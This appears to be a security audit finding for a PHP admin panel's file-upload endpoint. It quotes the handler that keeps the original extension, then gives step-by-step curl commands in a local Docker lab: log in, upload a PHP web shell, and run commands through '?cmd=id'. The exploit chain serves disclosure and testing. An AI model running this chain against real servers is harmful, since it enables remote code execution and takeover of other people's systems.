app/controller/admin/Index.php:11-42
$name = $_FILES['file']['name'];
$arr_name = explode('.', $name);
$hz = array_pop($arr_name);
$new_name = md5(time() . uniqid()) . '.' . $hz;
move_uploaded_file($tmp_name, $_SERVER['DOCUMENT_ROOT'] . $path . $new_name)
The API directly uses the original file name's extension as the new file extension without validating the extension, MIME type, or file content, nor does it save uploaded files to a non-executable directory. In the migration data, admin/Index/upload is set by default as the login and permission validation endpoint; see database/migrations/20200324080953_update_admin_menu_data.php:53.
The attacker must be logged in to the backend and have permissions for admin/Index/upload.
Setting Up the Environment:
docker compose -f .codex\audit\docker-compose.yml up -d --build
docker compose -f .codex\audit\docker-compose.yml exec -T web sh -lc "printf 'audit-auth-key-for-docker' > install/lock.ini"
docker compose -f .codex\audit\docker-compose.yml exec -T db sh -lc "mysql -uroot -p123456 -e 'DROP DATABASE IF EXISTS apiadmin; CREATE DATABASE apiadmin CHARACTER SET utf8 COLLATE utf8_general_ci;'"
docker compose -f .codex\audit\docker-compose.yml exec -T web sh -lc "php think service:discover && php think vendor:publish && php think migrate:run && php think apiadmin:adminRouter"
Initialize administrator credentials:
username:root, password:ULyjmIdV
Sign in to get Api-Auth:
curl.exe -s -X POST <http://127.0.0.1:18080/admin/Login/index> `
-H "Content-Type: application/x-www-form-urlencoded" `
--data "username=root&password=ULyjmIdV"
Upload a PHP payload:
curl.exe -s -X POST <http://127.0.0.1:18080/admin/Index/upload> `
-H "Api-Auth: 2eb94b2255ed928f73e68160ec86336f" `
-F "[email protected]/audit/payload.php;filename=payload.php;type=application/x-php"
Return results:
{
"code": 1,
"msg": "操作成功",
"data": {
"fileName": "ad135df9fad1ae90bd39438e420e19dc.php",
"fileUrl": "<http://127.0.0.1:18080/upload/20260614/ad135df9fad1ae90bd39438e420e19dc.php>"
}
}
Access, upload files, and execute commands:
curl.exe -s "<http://127.0.0.1:18080/upload/20260614/ad135df9fad1ae90bd39438e420e19dc.php?cmd=id>"